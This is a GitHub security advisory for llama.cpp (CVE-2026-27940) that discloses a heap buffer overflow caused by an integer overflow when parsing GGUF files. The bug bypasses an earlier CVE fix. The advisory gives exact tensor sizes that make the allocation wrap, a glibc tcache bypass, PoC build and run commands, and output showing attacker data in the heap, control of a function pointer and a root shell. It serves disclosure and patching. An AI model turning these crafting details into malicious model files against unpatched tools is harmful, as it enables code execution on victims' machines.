Skip to content

Heap Buffer Overflow via Integer Overflow in `mem_size` Calculation — Bypass of CVE-2025-53630 Fix

High
ggerganov published GHSA-3p4r-fq3f-q74v Mar 12, 2026

Package

llama.cpp

Affected versions

<= b8145

Patched versions

>= b8146

Description

Summary

The gguf_init_from_file_impl() in gguf.cpp is vulnerable to an Integer overflow, leading to an undersized heap allocation. We can then use the next fread() to write data past the buffer boundary.

Using the subsequent fread() writes 528+ bytes of attacker-controlled data past the buffer boundary.

By tuning the allocation size to fall within glibc's tcache range, we can bypass the heap integrity checks during cleanup, and then the subsequent malloc() calls will return memory pre-filled with attacker data from the GGUF file.

I was able to eventually escalate this from a basic crash to full arbitrary code execution with a root shell spawned via system("/bin/sh").

This is a bypass of a similar bug in the same file - CVE-2025-53630, but the fix overlooked some areas (explained in the next section).

How it works

The vulnerability originates in the gguf_init_from_file_impl function within ggml/src/gguf.cpp. This function is responsible for parsing the GGUF model file format, including its metadata and tensor data.

Earlier Fix

The earlier vuln, CVE-2025-53630, patched an integer overflow by adding an overflow check on the ctx->size accumulation loop at line 642:

if (SIZE_MAX - ctx->size < padded_size) {  // prevents ctx->size from WRAPPING
    ...
    return nullptr;
}
ctx->size += padded_size;

Checking Individually, but not the final Added Values

But if you scroll a little bit further down in the same file, the mem_size for the ggml context is computed without an overflow check:

const size_t mem_size =
    params.no_alloc ?
    (n_tensors    )*ggml_tensor_overhead() :
    (n_tensors + 1)*ggml_tensor_overhead() + ctx->size;  // ← INTEGER OVERFLOW

When ctx->size is close to SIZE_MAX (achievable via two large I8 tensors whose sizes pass the per-addition CVE-2025-53630 check), the addition wraps around to a small value.

The function iterates through the tensor information read from the GGUF file to calculate the total size required for all tensor data. This total is then accumulated in ctx->size (a size_t variable) at L641 with ctx->size += padded_size;. So each addition is individually checked, but not together.

Getting Closer

We can create a GGUF file with two I8 tensors where both tensors use ne[0] = 0x7FFFFFFFFFFFFFC0 (9,223,372,036,854,775,744), which after padding (32-byte alignment) comes to:

  • Tensor 1 contributing padded_size = 0x7FFFFFFFFFFFFFC0 (already aligned)
  • Tensor 2 contributing padded_size = 0x7FFFFFFFFFFFFFC0 (same)

So the per-addition overflow check passes for each: SIZE_MAX − first_padded ≥ second_padded holds true. After both additions, ctx->size = 0xFFFFFFFFFFFFFF80, which is SIZE_MAX − 127. This is still a legitimate value - it's large, but it hasn't wrapped. So the earlier fix guard is satisfied.

The real issue : mem_size

If we go further down, we have mem_size which computes how much memory to allocate for the ggml context that'll hold the tensor data.

        const size_t mem_size =
            params.no_alloc ?
            (n_tensors    )*ggml_tensor_overhead() :
            (n_tensors + 1)*ggml_tensor_overhead() + ctx->size; // <- this is the core issue 

For our two tensors, (n_tensors + 1) * ggml_tensor_overhead() equals 3 × 368 = 1,104.

Adding this to ctx->size:

mem_size = 1,104 + (SIZE_MAX − 127)
         = 1,104 + 18,446,744,073,709,551,488
         = 976   (wraps mod 2^64)

And on this particular addition, there is no overflow check. The result wraps around to just 976 bytes.

Just after this, we have a ggml_init call with this small size, which in turn calls malloc(976) - i.e. it allocates a buffer much much smaller than what's required by the tensor data.

Tensor Creation with Wrapped Size

At L675 - we have the function which creates a blob tensor to hold all the tensor data:

data = ggml_new_tensor_1d(ctx_data, GGML_TYPE_I8, ctx->size);

From ggml.c we know that ggml_tensor is :

struct ggml_tensor * ggml_new_tensor_1d(
        struct ggml_context * ctx,
        enum   ggml_type      type,
        int64_t ne0) {
    return ggml_new_tensor(ctx, type, 1, &ne0);
}

That means, in our case - ctx->size (SIZE_MAX − 127) will be passed as an int64_t parameter, which then causes it to be interpreted as a negative number (−128).

Then, inside ggml_new_tensor_impl, we have a series of implicit unsigned/signed conversions which cause the internal size calculations to also wrap around to a small value.

The pool bounds check then compares this small wrapped size against the 976-byte buffer and concludes that there's enough room.

The tensor struct (368 bytes) is then written within the buffer, and data->data is set to point at buffer + 368.

Heap Overflow

At line 684 is where the corruption actually happens. It reads the tensor data from the file into the allocated buffer.

ok = ok && gr.read(data->data, ctx->size);

The gr.read call asks fread to read SIZE_MAX - 127 bytes into a buffer that only has 608 (976 − 368) bytes remaining.

So fread will read as much as the file provides but we can have attacker's data section of say 1136 bytes which will write 528 bytes past the end of the heap buffer.

ASAN confirms the overflow:

==6441==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x519000000450
WRITE of size 1136 at 0x519000000450 thread T0
    #0 in fread
    #1 in gguf_reader::read at gguf.cpp:285
    #2 in gguf_init_from_file_impl at gguf.cpp:692
0x519000000450 is located 0 bytes after 976-byte region

That means we are in full control of what is overflowed, through the GGUF file's data section. I've explored this in the PoCs.

tcache bypass for Continued Execution

On most systems, fread returns a short count (the file runs out of data), so ok becomes false and the function enters its error cleanup path, which calls ggml_free(ctx_data)free() on the corrupted heap buffer.

With my original PoC -> it simply resulted in a crash. 1,072-byte allocation → chunk size 1,088, the free() goes through glibc's slow path, which validates the next chunk's size field but finds it corrupted. So glibc aborts with "invalid next size (normal)" and the process crashes, which will lead to a DoS.

But we can actually tune the allocation size by choosing tensor dimensions that produce mem_size = 976 (chunk size 992), which then ensures that the allocation falls within glibc's tcache range (chunks ≤ 1,040 bytes).

The tcache is a thread-local cache introduced in glibc 2.26 that uses a fast path for free() which does not validate the next chunk's size field.

So:

  • free() during error cleanup succeeds silently : no integrity check, no abort
  • Execution continues normally with corrupted heap state
  • The corrupted chunk is placed on a tcache free list

So when subsequent code calls malloc() with a matching size, glibc returns the corrupted chunk - and the attacker's data from the GGUF file will be returned from the memory. I've added in the PoC with return of the 64 0xCAFEBABE values coming from the GGUF data section.

Who's Affected

  • ggml/src/gguf.cpp :
    • mem_size - the main vuln, missing overflow check
    • fread into undersized buffer
  • ggml/src/ggml.c - GGML_TENSOR_SIZE + obj_alloc_size wrap

The vuln will trigger in any code path that calls gguf_init_from_file() with no_alloc=false which is :

  • llama-quantize : tools/quantize/quantize.cpp
  • llama-imatrix : tools/imatrix/imatrix.cpp
  • Control vectors | common/common.cpp
  • llama-gguf : examples/gguf/gguf.cpp

The main model loading path (llama-model-loader.cpp) uses no_alloc=true and is not affected.

PoCs

I tested out the PoCs on a few different environments to be sure. Below are the platforms & envs I tested on:

Platform OS Arch PoC Result
macOS 15.4 ARM64 (M1 Max) crash SIGSEGV (exit 139)
Linux Ubuntu 24.04 (glibc 2.39) x86_64 crash SIGABRT (exit 134)
Linux Ubuntu 24.04 (glibc 2.39) ARM64 (Docker) crash SIGABRT (exit 134)
Linux Ubuntu 24.04 (glibc 2.39) ARM64 (Docker, ASAN) crash heap-buffer-overflow WRITE of 1136 into 976 bytes
Linux Ubuntu 24.04 (glibc 2.39) ARM64 (Docker) RCE (v2) Attacker data in malloc (exit 0)
Linux Ubuntu 22.04 (glibc 2.35) x86_64 (RunPod) RCE (v3) PC control: rbx=0x4141414141414141
Linux Ubuntu 22.04 (glibc 2.35) x86_64 (RunPod) RCE (v4) Root shell via system("/bin/sh")

How to test

python3 craft_gguf_poc.py poc_heap_overflow.gguf
./build/bin/llama-gguf poc_heap_overflow.gguf r n
# macOS: SIGSEGV (exit 139)
# Linux: SIGABRT "invalid next size" (exit 134)

RCE — shell execution (Linux/glibc, recommended)

gcc -O2 -o rce_v4 rce_harness_v4.c -Iggml/include -Lbuild/bin \
    -lggml -lggml-base -lggml-cpu -lstdc++ -lm -lpthread
LD_LIBRARY_PATH=build/bin ./rce_v4
# Generates GGUF at runtime, loads it, spawns /bin/sh shell

Attacker data in malloc (Linux/glibc)

python3 craft_rce_poc_v2.py poc_rce_v2.gguf
gcc -O2 -o rce_v2 rce_harness_v2.c -Iggml/include -Lbuild/bin \
    -lggml -lggml-base -lggml-cpu -lstdc++ -lm -lpthread
LD_LIBRARY_PATH=build/bin ./rce_v2 poc_rce_v2.gguf
# Clean exit (0), "FOUND attacker pattern 0xcafebabe..." messages

PC control (Linux/glibc)

python3 craft_rce_poc_v3.py poc_rce_v3.gguf
gcc -O2 -o rce_v3 rce_harness_v3.c -Iggml/include -Lbuild/bin \
    -lggml -lggml-base -lggml-cpu -lstdc++ -lm -lpthread
LD_LIBRARY_PATH=build/bin ./rce_v3 poc_rce_v3.gguf
# SIGSEGV — under GDB, rbx=0x4141414141414141

Via llama-quantize (real-world attack surface)

./build/bin/llama-quantize --imatrix poc_heap_overflow.gguf dummy.gguf dummy.gguf q4_0
# Overflow occurs during imatrix loading

PoC Walkthrough

Getting to a Crash

craft_gguf_poc.py (generating poc_heap_overflow.gguf) used two I8 tensors with ne[0] values chosen to make ctx->size = SIZE_MAX - 31:

Tensor 1: ne[0] = INT64_MAX - 1  →  padded_size = 2^63
Tensor 2: ne[0] = 2^63 - 34      →  padded_size = 2^63 - 32

CVE check for tensor 1: SIZE_MAX - 0 ≥ 2^63  →  passes
CVE check for tensor 2: SIZE_MAX - 2^63 = 2^63 - 1 ≥ 2^63 - 32  →  passes

ctx->size = 2^63 + (2^63 - 32) = SIZE_MAX - 31
mem_size  = 3 × 368 + (SIZE_MAX - 31) = 1,072  (wraps mod 2^64)

ggml_init() allocates 1,072 bytes. Inside that buffer, a tensor struct is placed at offset 0, and data->data points to offset 368 — leaving only 704 bytes. fread() at line 692 reads the full GGUF data section (2,048 bytes) into this space, overflowing by 1,344 bytes. The error path calls ggml_free()free() on the corrupted heap → crash.

Result: SIGSEGV (exit 139) on macOS, SIGABRT with "free(): invalid next size" (exit 134) on Linux/glibc. See craft_gguf_poc.py and poc_heap_overflow.gguf.

ASAN confirmed the overflow:

==6441==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x519000000450
WRITE of size 1136 at 0x519000000450 thread T0
    #0 in fread
    #1 in gguf_reader::read at gguf.cpp:285
    #2 in gguf_init_from_file_impl at gguf.cpp:692
0x519000000450 is located 0 bytes after 976-byte region

Surviving the Crash (glibc tcache bypass)

As mentioned in the earlier explanation, the crash PoC's 1,072-byte allocation (chunk size 1,088) exceeds glibc's tcache maximum (~1,040 bytes), forcing free() through the slow path which validates the next chunk's size field - detecting corruption and aborting.

But just by adjusting the tensor dimensions, we can make the wrapped allocation fall within tcache range:

ne[0] for both tensors = 0x7FFFFFFFFFFFFFC0

ctx->size = 0x7FFFFFFFFFFFFFC0 + 0x7FFFFFFFFFFFFFC0 = SIZE_MAX - 127
mem_size  = 1,104 + (SIZE_MAX - 127) = 976  (wraps mod 2^64)

malloc(976) → chunk size 992 → tcache bin 60 (< 64 max bins) → TCACHE ELIGIBLE

As expected, Execution continues normally.

Crash PoC tcache PoC
mem_size 1,072 976
Chunk size 1,088 (above tcache) 992 (in tcache)
free() SIGABRT (integrity check) Succeeds
Post-overflow Process killed Continues

See craft_rce_poc_v2.py and poc_rce_v2.gguf.

Fetching Data from Memory

The tcache bypass worked, heap is current, process is alive, and we have written past the glibc top chunk. Now malloc() call should carve from the corrupted top chunk and return attacker-controlled data from the GGUF data section.

In this PoC, I placed a fake top chunk header at the overflow boundary (data section byte 608) followed by OXCAFEBABE. As expected, malloc(1024) returns our value.

[+] GGUF load returned NULL (overflow + cleanup completed)
[+] Post-overflow malloc(1024) → 0xaaaae37bfd00
[!] FOUND attacker pattern 0xcafebabe00000000 at offset 368!
[!] FOUND attacker pattern 0xcafebabe00000001 at offset 376!
  ... (64 sequential attacker-controlled values) ...
[!] FOUND attacker pattern 0xcafebabe0000003f at offset 872!
EXIT: 0

Tested on Ubuntu 24.04 (glibc 2.39), ARM64. See rce_harness_v2.c.

Getting to finer Pointer Control

To confirm that I can control the Program Counter, I added 0x4141414141414141 at the function pointer offset in the data section.

GDB confirms that it works:

Program received signal SIGSEGV, Segmentation fault.
0x0000597332b38492 in main at /tmp/rce_harness_v3.c:198
198         ops->load("/bin/sh");
rip            0x597332b38492      0x597332b38492 <main+754>
rbx            0x4141414141414141  4702111234474983745     ← ATTACKER CONTROLLED
rdi            0x597332b3910a      (address of "/bin/sh")

The value gets loaded in the rbx register as the indirect call target. It crashed because it's not a valid address. We know what's going to be the next step, don't we?

This was tested on Ubuntu 22.04 (glibc 2.35), x86_64. See craft_rce_poc_v3.py, poc_rce_v3.gguf, and rce_harness_v3.c.

Shell

This PoC uses the resolved system() address at runtime within the same process, generates a malicious GGUF with that address embedded at the correct data section offset, loads it (triggering the overflow), then scans the corrupted heap for the injected address and calls it with "/bin/sh".

=== GGUF Heap Overflow → Automatic Shell Execution ===

[*] system() @ 0x7f0ef399bd70 (resolved at runtime, same process)

[1] Generating malicious GGUF with system() address embedded...
    Written: /tmp/poc_rce_auto.gguf

[2] Loading malicious GGUF (triggers heap overflow + tcache bypass)...
gguf_init_from_file_impl: failed to read tensor data binary blob
[+] Load returned NULL — overflow + tcache cleanup succeeded

[3] Scanning post-overflow heap for system() address...
    FOUND system() at malloc(512)+224
    Value: 0x00007f0ef399bd70 == system() @ 0x7f0ef399bd70

[4] CONTROL-FLOW HIJACK: calling system("/bin/sh")
    Attacker-controlled function pointer from GGUF data section
    → jumping to system() with "/bin/sh" argument

# id
uid=0(root) gid=0(root) groups=0(root)
# exit

[+] Shell exited. RCE demonstrated.

Tested on Ubuntu 22.04 (glibc 2.35), x86_64, RunPod cloud GPU instance. See rce_harness_v4.c.


note - I've uploaded all PoCs to https://huggingface.co/adig/gguf-hpovflw-poc/tree/main . For security - I've kept it as private, please request invite for the PoCs, or I can share the PoC on a public URL if you would prefer that.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-27940

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number. Learn more on MITRE.

Credits